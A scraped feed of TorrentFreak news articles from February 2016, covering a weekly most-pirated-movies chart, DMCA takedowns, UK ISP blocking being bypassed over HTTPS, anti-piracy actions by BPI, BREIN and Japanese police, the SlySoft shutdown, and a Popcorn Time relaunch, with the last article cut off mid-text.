<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118231
title: Top 10 Most Pirated Movies of The Week – 02/22/16
uri: Top-10-Most-Pirated-Movies-of-The-Week-02-22-16
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/tlNQGhEiN0k/
content:
<p><img src="media/c90c8293.deadpool.jpg" data-original-source="http://torrentfreak.com/images/deadpool.jpg" alt="deadpool" width="300" height="203" class="alignright size-full wp-image-118234">This week we have two newcomers in our chart. </p>
<p>Deadpool is the most downloaded movie.</p>
<p>The data for our weekly download chart is estimated by TorrentFreak, and is for informational and educational reference only. All the movies in the list are BD/DVDrips unless stated otherwise.</p>
<p><a href="http://TorrentFreak.com/category/dvdrip/feed/"><strong>RSS feed</strong></a> for the weekly movie download chart.</p>
<table class="css hover">
<thead>
<tr>
<th width="12%"><strong>Ranking</strong></th>
<th width="15%"><strong>(<a href="https://torrentfreak.com/top-10-pirated-movies-week-021516/">last week</a>)</strong></th>
<th><strong>Movie</strong></th>
<th width="18%"><strong>IMDb Rating / Trailer</strong></th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="4">torrentfreak.com</td>
</tr>
</tfoot>
<tbody>
<tr>
<td><strong>1</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/deadpool/">Deadpool</a> (HDTS) </td>
<td><a href="http://www.imdb.com/title/tt1431045/">8.6</a> / <a href="https://www.youtube.com/watch?v=ZIM1HydF9UA">trailer</a></td>
</tr>
<tr>
<td><strong>2</strong></td>
<td>(1)</td>
<td><a href="http://www.rottentomatoes.com/m/creed_2015/">Creed</a>  </td>
<td><a href="http://www.imdb.com/title/tt3076658/">8.0</a> / <a href="https://www.youtube.com/watch?v=JQ9OhBYjTds">trailer</a></td>
</tr>
<tr>
<td><strong>3</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/victor_frankenstein_2015/">Victor Frankenstein</a>  </td>
<td><a href="http://www.imdb.com/title/tt1976009/">6.1</a> / <a href="https://www.youtube.com/watch?v=2vqNOZIbIRM">trailer</a></td>
</tr>
<tr>
<td><strong>4</strong></td>
<td>(2)</td>
<td><a href="http://www.rottentomatoes.com/m/ride_along_2/">Ride Along 2</a> </td>
<td><a href="http://www.imdb.com/title/tt2869728/">5.8</a> / <a href="https://www.youtube.com/watch?v=iWfmmwdCHTg">trailer</a></td>
</tr>
<tr>
<td><strong>5</strong></td>
<td>(4)</td>
<td><a href="http://www.rottentomatoes.com/m/spectre_2015/">Spectre</a> </td>
<td><a href="http://www.imdb.com/title/tt3682448/">7.9</a> / <a href="https://www.youtube.com/watch?v=mBBuzHrZBro">trailer</a></td>
</tr>
<tr>
<td><strong>6</strong></td>
<td>(3)</td>
<td><a href="http://www.rottentomatoes.com/m/the_big_short/">The Big Short</a> (DVDscr) </td>
<td><a href="http://www.imdb.com/title/tt1596363/">8.1</a> / <a href="https://www.youtube.com/watch?v=rDlYm15ztK4">trailer</a></td>
</tr>
<tr>
<td><strong>7</strong></td>
<td>(9)</td>
<td><a href="http://www.rottentomatoes.com/m/kung_fu_panda_3/">Kung Fu Panda 3</a> (Telesync)</td>
<td><a href="http://www.imdb.com/title/tt2267968/">8.0</a> / <a href="https://www.youtube.com/watch?v=fGPPfZIvtCw">trailer</a></td>
</tr>
<tr>
<td><strong>8</strong></td>
<td>(5)</td>
<td><a href="http://www.rottentomatoes.com/m/the_good_dinosaur/">The Good Dinosaur</a> </td>
<td><a href="http://www.imdb.com/title/tt1979388/">6.9</a> / <a href="https://www.youtube.com/watch?v=O-RgquKVTPE">trailer</a></td>
</tr>
<tr>
<td><strong>9</strong></td>
<td>(6)</td>
<td><a href="http://www.rottentomatoes.com/m/the_revenant_2015/">The Revenant</a> (DVDscr) </td>
<td><a href="http://www.imdb.com/title/tt1663202/">?.?</a> / <a href="https://www.youtube.com/watch?v=LoebZZ8K5N0">trailer</a></td>
</tr>
<tr>
<td><strong>10</strong></td>
<td>(8)</td>
<td><a href="http://www.rottentomatoes.com/m/the_martian/">The Martian</a>  </td>
<td><a href="http://www.imdb.com/title/tt3659388/?">8.2</a> / <a href="https://www.youtube.com/watch?v=ej3ioOneTy8">trailer</a></td>
</tr>
</tbody>
</table>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118249
title: Copyright Holders Move to Block vKontakte, Russia’s Facebook
uri: Copyright-Holders-Move-to-Block-vKontakte-Russia-s-Facebook
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/8nOBk2SoFCg/
content:
<p><img src="media/19908c62.vk.jpg" data-original-source="https://torrentfreak.com/images/vk.jpg" width="180" height="180" class="alignright">When mentioned by US-based entertainment companies, Russian social networking giant vKontakte is often portrayed as a poor copyright partner that does little to deal with the huge amounts of infringement on its platform.</p>
<p>Indeed, vKontakte faces regular criticism from both the RIAA and MPAA, with various affiliated companies having taken the platform &#8211; which has an estimated 80 million users per day &#8211; to court on a number of occasions. However, vKontakte is now under threat locally, a threat it needs to take very seriously indeed.</p>
<p>For the first time ever vKontakte has been reported to the Moscow City Court for its apparent failure to protect copyrights. This Court has the power to order a site to be blocked by local ISPs based on complaints from copyright holders. Should those complaints persist, the Court has the power to order a site &#8211; even vKontakte &#8211; to be blocked on a permanent basis.</p>
<p>In this instance vKontakte is under fire from AZAPO, the Association for the Protection of Copyright on the Internet. The anti-piracy outfit represents several book publishers but the current complaint involves just a single title, Zahara Prilepina&#8217;s &#8220;Resident&#8221;.</p>
<p>&#8220;There are Public and &#8216;My Documents&#8217; sections, which we have cleaned and vKontakte has deleted files based on our claim. But in one of the cases we have found that the content has remained in place. It turns out that vKontakte is not taking proper protection measures,&#8221; <a href="http://izvestia.ru/news/604502">says</a> AZAPO Director General Maxim Ryabyko.</p>
<p>Previous claims against vKontakte have been processed through the <a href="https://en.wikipedia.org/wiki/Arbitration_Court_at_Saint_Petersburg_Chamber_of_Commerce_and_Industry">Arbitration Court of St. Petersburg</a> however AZAPO has tried that before and feels the process offered by the Court is too slow.</p>
<p>&#8220;We have accumulated a lot of history with vKontakte, including negative experiences. We decided to appeal to the Moscow City Court as claims filed with the Arbitration Court of St. Petersburg are long and expensive, and the procedure is not quite clear to us,&#8221; Ryabyko notes.</p>
<p>Given that the Moscow City Court has the power to render vKontakte inaccessible in Russia to its hundreds of millions of signed-up users, perhaps the big question is why no one has reported the site to the Court before. Interestingly, Russia&#8217;s Izvestia cites anonymous rightsholders who claim that telecoms watchdog Roskomadzor asked them not to. The government agency apparently said that vKontakte should be given space since it had been cooperating with entertainment companies on piracy.</p>
<p>Clearly AZAPO didn&#8217;t get the memo but it appears that the anti-piracy group is more interested in getting a fair deal for its members than having vKontakte blocked.</p>
<p>&#8220;I know that negotiations are actively underway with the audio and film industries, but the authors of books do not perceive themselves as participants in the negotiation process,&#8221; says Ryabyko.</p>
<p>&#8220;Our goal is to urge vKontakte to adequately interact with the book industry.&#8221; </p>
<p>It&#8217;s understood that AZAPO would like vKontakte to move in a number of ways, each of which allows content (in whole or in part) to be made commercially available on the platform. The first option would see a full subscription platform put in place while a second envisages an ad-supported model. The third would see vKontakte users getting access to a sample of a book which later diverts to the author&#8217;s own website.</p>
<p>For its part, vKontakte appears less than impressed at being reported to the Moscow City Court.</p>
<p>&#8220;Instead of a constructive conversation we see legal claims imposed. The true aim of the plaintiff, in our opinion, is not to protect their rights but to put pressure on vKontakte,&#8221; says spokesperson Evgeny Krasnikov.</p>
<p>&#8220;Obviously, only an open dialogue about the models and methods to monetize content for rights holders will help the development of legal content market in Russia. Such communication we have had with the largest local book distributors.&#8221;</p>
<p>Whether AZAPO&#8217;s negotiating technique will bear fruit will be revealed in the months ahead.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118286
title: The Walking Dead “Disappears” From Torrent Sites
uri: The-Walking-Dead-Disappears-From-Torrent-Sites
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/iK3pRHB6HLk/
content:
<p><img src="media/13fbef26.walkd.jpg" data-original-source="http://torrentfreak.com/images/walkd.jpg" alt="walkd" width="222" height="145" class="alignright size-full wp-image-118292">Last week the The Walking Dead&#8217;s sixth season resumed. As the second <a href="https://torrentfreak.com/game-of-thrones-most-pirated-tv-show-of-2015/">most pirated TV-show</a> of last year, only trailing behind Game of Thrones, there has been plenty of interest in the new episodes on torrent sites. </p>
<p>However, there&#8217;s also been quite a bit of confusion and annoyance as many popular torrents have quickly disappeared. </p>
<p>Before the weekend pretty much all torrents for the ninth episode of The Walking Dead were gone from KickassTorrents (<a href="https://kat.cr/">KAT</a>), which is currently the most used torrent site. </p>
<p>The screenshot below shows that there&#8217;s currently just one torrent online for episode six through nine of the latest season. As far as DMCA takedown efforts go, that&#8217;s pretty effective. </p>
<p><center><strong>Gone?</strong><br></br></center><center><img src="media/291510ab.katwalk.png" data-original-source="http://torrentfreak.com/images/katwalk.png" alt="katwalk" width="571" height="457" class="alignnone size-full wp-image-118294"></center></p>
<p>The same is true for the most used meta search engine <a href="http://torrentz.eu/">Torrentz</a>, where several recent episodes are no longer listed. A search for s0608 comes up empty, with a note that 80 results have been removed due to takedown notices.</p>
<p><center><strong>Walking Dead?</strong><br></br></center><center><img src="media/837c8f90.tzwalk.png" data-original-source="http://torrentfreak.com/images/tzwalk.png" alt="tzwalk" width="600" height="203" class="alignnone size-full wp-image-118295"></center></p>
<p>The Walking Dead&#8217;s tenth episode of the season was just released a few hours ago and plenty of copies are still around, However, these torrents will soon follow their predecessors and disappear as well.</p>
<p>Of course, there are also plenty of places that are less DMCA-friendly. Many torrent sites including The Pirate Bay are removing torrents sporadically, or not at all, so persistent pirates can find a copy eventually.</p>
<p>That said, on KAT the aggressive takedown efforts are a cause of frustration. To counter this, users have come up with their own tricks to make the torrents available through backdoors, which are <a href="https://kat.cr/community/show/kat-tv-uploaders-unite-post-your-dmca-d-torrents-here/">widely shared</a> in the forums. </p>
<p>TorrentFreak spoke with an operator of a smaller torrent site who processes many takedown requests automatically, and he was surprised to see how effective they can be. So effective, that he had trouble locating a recent Walking Dead episode. </p>
<p>&#8220;It was quite surprising not to find the episode I was looking for. For the first time in my life I had to actually use a file locker, not by choice but by the effectiveness of DMCA,&#8221; the operator says.  </p>
<p>&#8220;It literally made my life more annoying for about two minutes,&#8221; he adds.</p>
<p>While many links are indeed disappearing, and not just for The Walking Dead, the torrent site owner doesn&#8217;t believe that it will do much to stop piracy on a broader scale.</p>
<p>&#8220;The only thing the DMCA does well is annoy people. Well done DMCA,&#8221; the torrent site operator notes.</p>
<p>Perhaps copyright holders are banking on this annoyance to drive people to legal alternatives. Or, ironically enough, to other sites that simply ignore all DMCA and other takedown notices.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118034
title: HTTPS Renders UK Pirate Site Blocklist Useless
uri: HTTPS-Renders-UK-Pirate-Site-Blocklist-Useless
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/ZZ0obifbsIw/
content:
<p><img src="media/516568b2.lock.png" data-original-source="http://torrentfreak.com/images/lock.png" alt="lock" width="222" height="174" class="alignright size-full wp-image-102596">Following a series of High Court orders obtained since 2012, six of the UK’s major ISPs are required to block access to dozens of the world’s most popular ‘pirate’ sites.</p>
<p>Over the past several years the number of blocked domains has expanded to roughly 1,000, with popular torrent sites such as The Pirate Bay and KickassTorrents being the main targets. </p>
<p>While it&#8217;s hard to stamp out piracy completely, the measures were supposed make it harder for UK Internet subscribers to access these sites.</p>
<p>However, a recent review of current blocking practices shows that several ISPs including Virgin Media, BT, EE and TalkTalk are failing. It turns out that many subscribers don&#8217;t have to jump through technological hoops to circumvent the blockades, as many popular pirate sites are freely accessible on their regular connections. </p>
<p>With the help from several subscribers, TorrentFreak was able to confirm that the HTTPS versions of most blocked websites including The Pirate Bay, KickassTorrents, RARBG and Torrentz, are still freely accessible. </p>
<p>While regular connections are still blocked, many pirate sites have added a secure HTTPS variant which appears to be hard to block for many providers. </p>
<p><center><strong>Blocked?</strong><br></br></center><center><img src="media/8712e68b.virgin-media-tpb-block.jpg" data-original-source="http://torrentfreak.com/images/virgin-media-tpb-block.jpg" alt=""></center>	</p>
<p>Some sites even force users to use the HTTPS enabled domain and as a result UK traffic has been picking up again. For example, KickassTorrents is currently among the <a href="http://www.alexa.com/topsites/countries;10/GB">300 most visited</a> websites in the UK, even though it&#8217;s supposed to be blocked. </p>
<p>The HTTPS issue is not new and it appears that many ISPs don&#8217;t have a countermeasure in place. According to our information, only Sky is structurally blocking secure versions of various pirate sites. </p>
<p>The precise technical explanation for the issue is unclear, but since HTTPS connections can strip HTTP headers it may be harder to detect that a blocked site is being accessed. </p>
<p>In theory ISPs could also block the site&#8217;s IP-addresses, but since many use shared IPs from CloudFlare this would also take down other unrelated websites. </p>
<p>Whatever the reason, most UK Internet subscribers are now getting a taste of a free and uncensored Internet once again. </p>
<p>The HTTPS issue is refreshing as blocking problems are usually the result of overblocking. For example, TorrentFreak has been blocked in the past <a href="https://torrentfreak.com/skys-court-ordered-piracy-filter-blocks-torrentfreak-130809/">by Sky</a>, and the same ISP also restricted access to several other sites because they <a href="https://torrentfreak.com/pirate-bay-blockade-censors-cloudflare-customers-150424/">shared a CloudFlare IP-address</a> with The Pirate Bay.   </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118317
title: The BPI Announces a Brand New Anti-Piracy Boss
uri: The-BPI-Announces-a-Brand-New-Anti-Piracy-Boss
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/cscjGkwTzvA/
content:
<p><img src="media/81cbcd19.bpi.png" data-original-source="https://torrentfreak.com/images/bpi.png" width="222" height="106" class="alignright">Despite sending notices requesting the removal of <a href="https://torrentfreak.com/music-industry-reports-200-millionth-pirate-link-to-google-150507/">hundreds millions of links</a> from Google’s search results, the British Recorded Music Industry (BPI) consistently manages to do so without causing serious collateral damage.</p>
<p>While that accuracy is to be commended, the BPI is also famous for being involved in the wholesale blocking of <a href="https://torrentfreak.com/uk-blocking-more-than-100-pirate-sites-after-new-court-order-150324/">hundreds of ‘pirate’ websites</a> in the UK, regardless of the non-infringing content many of them index. It also has a reputation <a href="https://torrentfreak.com/online-music-pirates-hit-with-lengthy-jail-sentences-141111/">for being ruthless</a> in prosecutions of people sharing files.</p>
<p>All that being said, the BPI&#8217;s anti-piracy team is one of the most effective out there so an announcement last December that there would be upheaval in the team came as something of a surprise. The heads of both its Copyright Protection Unit and Head of Internet Investigations would <a href="https://torrentfreak.com/bpi-removes-anti-piracy-bosses-and-reorganizes-151222/">both be moving on</a> following a restructuring exercise, the BPI said.</p>
<p>Now the industry group has revealed a key new addition to the team. On April 20, Tim Cooper will become the BPI&#8217;s brand new Head of Content Protection.</p>
<p>Cooper is currently Head of Operations at <a href="http://www.nr-online.com">NetResult</a>, a Thomson Reuters company doing business in the anti-piracy space. Established in 2000 and headquartered in London, NetResult describes itself as being active in the online monitoring and enforcement sector for intellectual property rights.</p>
<p>Cooper has spent a decade at NetResult and according to the BPI developed the world&#8217;s first anti-piracy service to combat live streaming and devised strategies to tackle live P2P networks and streaming platforms. Chinese operator PPLive was <a href="http://PPLive and PPMate to have illegal content removed.">one of the main targets</a> but since then web-based operations have swamped the market.</p>
<p>Indeed, one doesn&#8217;t have to look far to find instances of Cooper&#8217;s anti-piracy footprints on the web, <a href="http://www.101greatgoals.com/goals/101-great-goals-receives-yet-another-threat-from-netresult/">in this instance </a>threatening the operators of a site indexing clips of soccer games who sarcastically refer to Cooper as their &#8220;friend&#8221;.</p>
<p>But after 10 years with NetResult Cooper says he&#8217;s looking forward to working in the music sector.</p>
<p>“I am thrilled to be joining The BP‎I to head up its content protection work. I have worked in rights protection for over a decade and music has been a passion all of my life,&#8221; he said in a statement.</p>
<p>&#8220;I look forward to leading The BPI’s Content Protection team and working closely with its General Counsel to continue to develop and deliver The BPI’s world-renowned content protection services for record labels and performers.” </p>
<p>Interestingly, the BPI has also taken the opportunity to thrown down some general anti-piracy statistics concerning the UK, claiming it now has one of the lowest piracy rates in the world.</p>
<p>&#8220;The number of UK consumers visiting illegal sites has fallen to about half the global average, and is lower than any other technologically advanced country except the USA and Japan,&#8221; the BPI says.</p>
<p>However, as our article earlier today shows, pirate site blockades in the UK are faltering, at least temporarily, with key sites <a href="https://torrentfreak.com/https-renders-uk-pirate-site-blocklist-useless-160223/">regained lost ground</a> due to what appears to be technical issues at ISPs.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118346
title: Fancy an Anti-Piracy Threat….To Your Dropbox Email Address?
uri: Fancy-an-Anti-Piracy-Threat-To-Your-Dropbox-Email-Address
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/kWeEwdRRMdI/
content:
<p><a href="media/9c1918a1.dropbox.png" data-original-source="http://feed.torrentfreak.com/images/dropbox.png" rel="attachment wp-att-115828"><img src="media/ff3b628a.dropbox.png" data-original-source="http://torrentfreak.com/images/dropbox.png" alt="dropbox" width="250" height="166" class="alignright size-full wp-image-115828"></a>There are many different ways that people are able to share files online and they broadly fall into two categories &#8211; public and private.</p>
<p>Public sharing is generally carried out using peer-to-peer networks such as BitTorrent. Anyone participating in a torrent swarm should be aware that unless they take precautions by using a <a href="https://torrentfreak.com/vpn-anonymous-review-160220/">VPN or proxy</a>, their IP address is visible to all of the other people engaged in the same act.</p>
<p>Private sharing can also take many forms, from exchanging content via email to uploading and downloading content from invite-only servers, for example. While it has to be noted there are always weak leaks, this kind of sharing usually receives less interest from anti-piracy companies as it tends to be scattered and somewhat cost ineffective to police.</p>
<p>That being said, Dutch anti-piracy outfit BREIN has just managed to scare an unnamed number of pirates after they participated in a presumed-private sharing circle that utilized Dropbox for exchanging copyrighted content.</p>
<p>The story traces back to December 2015 when BREIN obtained an <em>ex parte</em> court order against a man they accused of being the administrator of a Dropbox account that was being used to distribute copyrighted eBooks.</p>
<p>It was alleged that the man was active on a number of Internet forums and on request granted fellow members with access to said account in order to download titles without paying. After a complaint from BREIN the court found this behavior unacceptable and ordered the man, in his absence, to cease his activities or face fines of 2,000 euros per day up to a maximum of 50,000 euros.</p>
<p>However, as previously reported, BREIN is now regularly striking <a href="https://torrentfreak.com/brein-does-a-deal-with-kickass-and-pirate-bay-uploader-151205/">private settlement deals</a> with people it also targets in court. It&#8217;s not known if there was a financial arrangement in this particular case but quite clearly BREIN has been able to leverage its position to scare the individuals that had been downloading from the Dropbox account.</p>
<p>Since those downloading from the eBook-filled Dropbox folder were required to give up their email addresses to the person administering the account, they became vulnerable when BREIN discovered his identity. So, as part of the settlement deal, BREIN was then able to contact those individuals with a custom threat, direct to an email address they had previously considered private.</p>
<p>&#8220;BREIN has recently found that you are a user (or: Member) of the Dropbox account called &#8216;&#8212;&#8216;, offered by &#8216;&#8212;&#8216;. Your email address is visible to third parties and by BREIN for the purpose of sending you this email,&#8221; the email to the assumed pirates begins.</p>
<p>&#8220;Without permission of the copyright holders this account was used for sharing copies of eBooks, which is not lawful. The administrator was (as the owner and administrator) responsible for this and the judge has ruled that this person has infringed on the rights of the copyright holders BREIN represents.&#8221;</p>
<p>The Dropbox users are then informed that they too have almost certainly infringed copyright due to them downloading copyrighted content from an illegal source and they should therefore consider purchasing their content from legal sources in the future.</p>
<p>&#8220;BREIN received several positive responses to [these emails] and it also seems that the exchange of ebooks via the forums that BREIN found in its research has almost completely ceased,&#8221; the group said in a statement.</p>
<p>While there&#8217;s no suggestion that BREIN intends to take matters further, it seems clear that those sharing or obtaining copyrighted content even from a Dropbox account should be aware that if the person they&#8217;re downloading from caves in, their email address (at the very least) could be vulnerable to threats. If that email then correlates with other information available on the web, things certainly have the potential to escalate.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118373
title: Popular Blu-Ray Ripper Shuts Down Following Legal Pressure
uri: Popular-Blu-Ray-Ripper-Shuts-Down-Following-Legal-Pressure
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/V61k9AMSI7o/
content:
<p><img src="media/ee020f78.slysoft.jpg" data-original-source="http://torrentfreak.com/images/slysoft.jpg" alt="slysoft" width="180" height="180" class="alignright size-full wp-image-86305" srcset="http://torrentfreak.com/images/slysoft-150x150.jpg 150w, http://torrentfreak.com/images/slysoft.jpg 180w" sizes="(max-width: 180px) 100vw, 180px">Earlier this month AACS LA, the decryption licensing outfit founded by a group of movie studios and technology partners including Warner Bros, Disney, Microsoft and Intel, <a href="https://torrentfreak.com/hollywood-escalates-dvd-ripping-case-to-international-incident-160213/">reminded</a> the U.S. Government about the unauthorized activities of SlySoft. </p>
<p>SlySoft is known for selling various copyright protection circumvention tools including the popular AnyDVD software, of which it sold tens of thousands of copies over the years. </p>
<p>In 2014 AACS-LA won a court case against the software manufacturer in Antigua, where a local court found SlySoft owner Giancarla Bettini <a href="https://torrentfreak.com/slysoft-dvd-ripper-owner-found-guilty-in-criminal-action-140403/">guilty</a> of six charges under the 2003 Copyright Act and ordered him to pay a fine of $5,000 per offense. Failure to pay would result in six months in jail for each offense.</p>
<p>However, despite the win for AACS not much changed. SlySoft&#8217;s owner immediately filed an appeal which effectively put the convictions on hold. Meanwhile, <a href="https://en.wikipedia.org/wiki/AnyDVD">AnyDVD</a> remained widely available. </p>
<p>This changed yesterday when the site suddenly went blank as the domain&#8217;s main nameservers were removed. Initially it was unclear what triggered the downtime, but a few hours ago SlySoft put up a brief statement confirming an early Myce <a href="http://www.myce.com/news/slysoft-down-for-legal-reasons-78654/">report</a> that legal problems are the cause. </p>
<p>&#8220;Due to recent regulatory requirements we have had to cease all activities relating to SlySoft Inc. We wish to thank our loyal customers/clients for their patronage over the years,&#8221; the message of the site&#8217;s homepage reads.</p>
<p><center><strong>Slysoft.com down</strong><br></br></center><center><img src="media/f57de3f0.slysoft.png" data-original-source="http://torrentfreak.com/images/slysoft.png" alt="slysoft" width="624" height="109" class="alignnone size-full wp-image-118375"></center></p>
<p>While there&#8217;s no confirmation on the exact reason for the sudden shutdown, it&#8217;s not unlikely that AACS-LA&#8217;s pressure to the United States Trade Representative had a significant impact. </p>
<p>In its request the licensing company asks the Government to place Antigua on its copyright <a href="https://en.wikipedia.org/wiki/Special_301_Report">Priority Watch List</a>, effectively escalating it into an “international incident&#8221;.</p>
<p>&#8220;Circumvention through programs such as SlySoft’s AnyDVD HD is a source for widespread, large-scale and commercial copyright infringement by users located in the United States, as well as Antigua &#038; Barbuda, and many other countries,&#8221; AACS wrote (<a href="media/a6a7abfb.AACS_LA_2016_Special_301_Review_Comment.pdf" data-original-source="http://torrentfreak.com/images/AACS_LA_2016_Special_301_Review_Comment.pdf">pdf</a>). </p>
<p>&#8220;Such circumvention also harms the legitimate consumer electronics and information technology companies that build compliant content playback devices that &#8216;play by the rules&#8217;.”</p>
<p>With or without an intervention from the U.S. Government, it&#8217;s clear that after <a href="https://en.wikipedia.org/wiki/AnyDVD">more than a decade</a> the legal pressure became too much for SlySoft and its owner. Whether the software will remain offline indefinitely or if it will perhaps reappear under a new label has yet to be seen.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118368
title: Japan Police Arrest 44 in Nationwide Internet Piracy Crackdown
uri: Japan-Police-Arrest-44-in-Nationwide-Internet-Piracy-Crackdown
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/y6NfIfv4Hjg/
content:
<p><a href="media/339209a8.jail.jpg" data-original-source="http://feed.torrentfreak.com/images/jail.jpg" rel="attachment wp-att-70302"><img src="media/9c39c603.jail.jpg" data-original-source="http://torrentfreak.com/images/jail.jpg" alt="jail" width="222" height="148" class="alignright size-full wp-image-70302"></a>Around the world there are periodic arrests of people who are alleged to have been involved in the running of &#8216;pirate&#8217; sites but the general file-sharing public is usually subjected to much lighter treatment.</p>
<p>Often part of so-called &#8216;graduated response&#8217; schemes, emailed warnings are the most common weapon of choice for copyright holders to get a &#8220;we&#8217;re watching you&#8221; message to relatively small time pirates. Japan, however, likes to do things a little differently.</p>
<p>According to an announcement by the National Police Agency (<a href="http://www.npa.go.jp">NPA</a>), in recent days officers across Japan carried out raids against individuals believed to have downloaded and shared a variety of content without obtaining permission from copyright holders.</p>
<p>In a three-day long crackdown between February 16 and 18, police in 29 prefectures searched 93 locations, eventually arresting a total of 44 people. All are suspected of engaging in online piracy of either movies, music, anime, manga or computer software. All were detained under the <a href="http://www.cric.or.jp/english/clj/cl2.html">Copyright Act</a>.</p>
<p>A wide variety of heavyweight industry groups were behind the action including the Motion Picture Producers Association of Japan (<a href="http://eiren.org/history_e/index.html">MPAJ</a>), the Recording Industry Association of Japan (<a href="http://www.riaj.or.jp/e/">RIAJ</a>), the Japan Video Software Association (<a href="http://jva-net.or.jp/en/">JVA</a>) and the Software Alliance (<a href="http://bsa.or.jp/">BSA</a>).</p>
<p>According to the Association of Copyright for Computer Software (<a href="http://accsjp.or.jp">ACCS</a>) the large-scale crackdown on Internet pirates is the seventh of its type since 2009.</p>
<p>Those detained include a 55-year-old office worker who along with the others faces fines between $1,785 and $89,200 (200,000 to 10 million yen) and jail sentences of up to ten years, depending on their offense.</p>
<p>Until 2012 only uploading was considered a criminal offense in Japan but in that same year local authorities <a href="https://torrentfreak.com/anti-downloading-law-hits-japan-up-to-2-years-in-prison-from-today-121001/">upgraded mere downloading</a> to a crime carrying jail sentences of up to two years.</p>
<p>It&#8217;s an important point then that police report the suspects as mostly using &#8220;shared folder&#8221; style P2P applications, a method of sharing that has remained popular in Asia despite the worldwide rise of software such as BitTorrent. Users of this software tend to both share and distribute content for extended periods of time, thus opening them up to the harshest sentences.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118422
title: Popcorn Time Fork Claims Official Relaunch After MPAA Shutdown
uri: Popcorn-Time-Fork-Claims-Official-Relaunch-After-MPAA-Shutdown
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/p8JIct6lEhI/
content:
<p><a href="media/75563943.popcornt.png" data-original-source="http://feed.torrentfreak.com/images/popcornt.png" rel="attachment wp-att-101106"><img src="media/3b9dbdf1.popcornt.png" data-original-source="http://torrentfreak.com/images/popcornt.png" alt="popcornt" width="237" height="106" class="alignright size-full wp-image-101106"></a>Last October the most popular Popcorn Time fork and the one most-closely linked to the original project <a href="https://torrentfreak.com/popcorn-time-chaos-triggers-more-downtime-151023/">shut down</a> its website PopcornTime.io.</p>
<p>With rumors flying the worst case scenario eventually reared its head, with confirmation that the MPAA had <a href="https://torrentfreak.com/mpaa-we-shut-down-ytsyify-and-popcorn-time-151103/">filed a lawsuit</a> against the project&#8217;s developers in Canada. The legal threats triggered a domino effect and several other contributors ceased working on the platform.</p>
<p>However, earlier this month people with outdated versions of the PopcornTime.io software began receiving updates declaring &#8220;Hail Hydra&#8221;, and with that the application <a href="https://torrentfreak.com/mpaa-hunted-popcorn-time-makes-surprise-comeback-160217/">started working once again</a>.</p>
<p>Surprised at this sudden reanimation, TF asked around to find out who was behind it but no one wanted to claim responsibility. That&#8217;s understandable &#8211; no sane person wants the MPAA&#8217;s lawyers monitoring their every move. However, just over a week later and we now have the first official statement from the people behind the reincarnation.</p>
<p>Noting that an explanation is long overdue, the team (located at popcorntime.sh) are now attempting to clarify their mission and point out where they stand in what has recently become an extremely confused and messy &#8216;marketplace&#8217;.</p>
